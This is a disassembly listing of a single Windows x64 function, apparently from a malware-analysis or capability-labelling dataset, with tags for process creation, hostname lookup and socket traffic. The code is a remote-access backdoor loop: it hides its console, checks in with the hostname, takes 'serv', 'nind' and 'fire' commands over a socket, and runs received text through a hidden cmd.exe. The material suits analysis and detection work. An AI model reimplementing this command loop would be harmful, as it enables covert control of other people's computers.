Function at 0x1400032d0
Capabilities:
Create process on windows
Get hostname
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10120]
mov eax, 0x10220
call fcn.140018140
sub rsp, rax
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rbp + 0x10110], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], recv
mov byte [rbp + 0x20], r12b
lea r8d, [r12 + 0xa]
lea rdx, str.__hello
lea rcx, [rbp + 0x20]
call fcn.140003ea0
nop
call fcn.1400030e0
mov dword [rbp], 0x7fff
lea rdx, [rbp]
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x60]
call fcn.140002f30
nop
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov rdi, qword [rbp + 0x70]
lea rsi, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rsi, qword [rbp + 0x60]
movabs r14, 0x7fffffffffffffff
cmp rdi, 0x10
jae 0x1400033cb
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x50], xmm0
lea ebx, [r12 + 0xf]
jmp 0x14000343c
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003419
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x1400033f5
call fcn.140001120
int3
mov rcx, rax
call fcn.140004ef8
mov rcx, rax
test rax, rax
je 0x140003413
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003428
call fcn.14000c10c
int3
test rcx, rcx
je 0x140003425
call fcn.140004ef8
jmp 0x140003428
mov rax, r12
mov qword [rsp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140006bf0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rbx
lea rcx, [rsp + 0x50]
call fcn.140002e60
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15, 0xffffffffffffffff
mov r13, qword [rbp + 0x30]
lea rsi, [0x140026030]
nop dword [rax]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rdi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdi, qword [rbp + 0x20]
cmp r13, 0x10
jae 0x1400034a1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 8], recv
jmp 0x140003511
mov rbx, r13
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400034eb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b75
mov rcx, rax
call fcn.140004ef8
mov rcx, rax
test rax, rax
je 0x140003b6f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400034fa
test rcx, rcx
je 0x1400034f7
call fcn.140004ef8
jmp 0x1400034fa
mov rax, r12
mov qword [rbp - 0x20], rax
lea r8, [r13 + 1]
mov rdx, rdi
mov rcx, rax
call fcn.140006bf0
mov qword [rbp - 8], rbx
mov qword [rbp - 0x10], r13
lea rcx, [rbp - 0x20]
call fcn.140002e60
xor edx, edx
mov r8d, 0x400
mov rcx, rsi
call fcn.1400072a0
xor r9d, r9d
mov r8d, 0x400
mov rdx, rsi
mov rcx, qword [0x140024a40]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [0x140025e40], eax
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], recv
mov r8, r15
inc r8
cmp byte [rsi + r8], 0
jne 0x140003560
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.140003ea0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x40]
call fcn.140002020
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], recv
mov r8d, 5
lea rdx, str.__
lea rcx, [rbp - 0x80]
call fcn.140003ea0
nop
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov rdi, qword [rbp + 0x50]
lea rsi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
cmp rdi, 0x10
jae 0x1400035fb
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], socket
jmp 0x14000366d
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
cmova rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003645
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b81
mov rcx, rax
call fcn.140004ef8
mov rcx, rax
test rax, rax
je 0x140003b7b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003654
test rcx, rcx
je 0x140003651
call fcn.140004ef8
jmp 0x140003654
mov rax, r12
mov qword [rsp + 0x50], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140006bf0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rdi
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 8]
call fcn.140001d90
nop
mov rbx, qword [rbp + 8]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140003696
mov rcx, qword [rbx]
mov qword [rsp + 0x20], 4
lea r9, str.serv
mov rdx, qword [rbx + 0x10]
call fcn.140004300
cmp rax, 0xffffffffffffffff
je 0x140003833
lea rdx, [rbx + 0x20]
lea rcx, [rbp - 0x60]
call fcn.140003dc0
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1400011f0
nop
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea r14, [rbp + 0x80]
mov r15, qword [rbp + 0x98]
cmp r15, 0x10
setae r12b
mov rsi, qword [rbp + 0x80]
cmovae r14, rsi
mov rdi, qword [rbp + 0x90]
cmp rdi, 0x10
jae 0x140003722
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 8], recv
jmp 0x14000379b
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003776
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b8d
mov rcx, rax
call fcn.140004ef8
mov rcx, rax
test rax, rax
je 0x140003b87
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140003784
test rcx, rcx
je 0x140003782
call fcn.140004ef8
jmp 0x140003784
xor eax, eax
mov qword [rbp - 0x20], rax
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.140006bf0
mov qword [rbp - 8], rbx
mov qword [rbp - 0x10], rdi
mov r8, qword [0x140024a40]
mov edx, edi
lea rcx, [rbp - 0x20]
call fcn.140002390
mov rdx, qword [0x140025fe8]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400037c0
xor r9d, r9d
mov rcx, qword [0x140024a40]
call qword [sym.imp.WS2_32.dll_send]
mov dword [0x140025e40], eax
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
test r12b, r12b
je 0x140003822
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000381a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b93
mov rcx, rsi
call fcn.140005184
movabs r14, 0x7fffffffffffffff
xor r12d, r12d
mov rbx, qword [rbp + 8]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140003840
mov rcx, qword [rbx]
mov qword [rsp + 0x20], 4
lea r9, str.nind
mov rdx, qword [rbx + 0x10]
call fcn.140004300
cmp rax, 0xffffffffffffffff
je 0x1400038a9
add rbx, 0x20
call fcn.14000b804
mov rdi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x140003875
mov rbx, qword [rbx]
mov dword [rax], r12d
mov r8d, 0xa
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.14000bc70
cmp rbx, qword [rbp - 0x40]
je 0x140003ba6
cmp dword [rdi], 0x22
je 0x140003b99
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rbp + 8]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400038b6
mov rcx, qword [rbx]
mov qword [rsp + 0x20], 4
lea r9, str.fire
mov rdx, qword [rbx + 0x10]
call fcn.140004300
cmp rax, 0xffffffffffffffff
je 0x140003ac1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
movups xmmword [rbp + 0xd4], xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
mov dword [rbp + 0x104], eax
mov dword [rbp + 0xa0], 0x68
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
lea rsi, [rbx + 0x20]
mov r15, qword [rsi + 0x10]
mov rax, r14
sub rax, r15
cmp rax, 3
jb 0x140003bbf
cmp qword [rsi + 0x18], 0x10
jb 0x140003942
mov rsi, qword [rsi]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea r14, [r15 + 3]
mov ebx, recv
lea rdi, [rbp - 0x20]
cmp r14, rbx
jbe 0x1400039e9
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x14000397f
mov rbx, rax
jmp 0x14000398c
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x1400039d3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003bb3
mov rcx, rax
call fcn.140004ef8
test rax, rax
je 0x140003bb9
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400039e5
test rcx, rcx
je 0x1400039e2
call fcn.140004ef8
mov rdi, rax
jmp 0x1400039e5
mov rdi, r12
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], rbx
movzx eax, word [0x140020cf4]
mov word [rdi], ax
movzx eax, byte [0x140020cf6]
mov byte [rdi + 2], al
lea rcx, [rdi + 3]
mov r8, r15
mov rdx, rsi
call fcn.140006bf0
mov byte [rdi + r14], 0
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
call fcn.14000d770
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0xa0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
lea rcx, str.C:WindowsSystem32cmd.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003abd
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb9
call fcn.140005184
mov rbx, qword [rbp + 8]
test rbx, rbx
je 0x140003b17
mov rdx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1400043c0
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc5
call fcn.140005184
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r12
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
movabs r14, 0x7fffffffffffffff
lea rsi, [0x140026030]
mov r15, 0xffffffffffffffff
jb 0x140003470
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bcb
call fcn.140005184
jmp 0x140003466
call fcn.14000c10c
int3
call fcn.140001120
nop
call fcn.14000c10c
int3
call fcn.140001120
nop
call fcn.14000c10c
int3
call fcn.140001120
nop
call fcn.14000c10c
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.140004cc4
int3
lea rcx, str.invalid_stoi_argument
call fcn.140004c7c
int3
call fcn.140001120
int3
call fcn.14000c10c
int3
call fcn.1400011c0
nop
call fcn.14000c10c
nop
call fcn.14000c10c
int3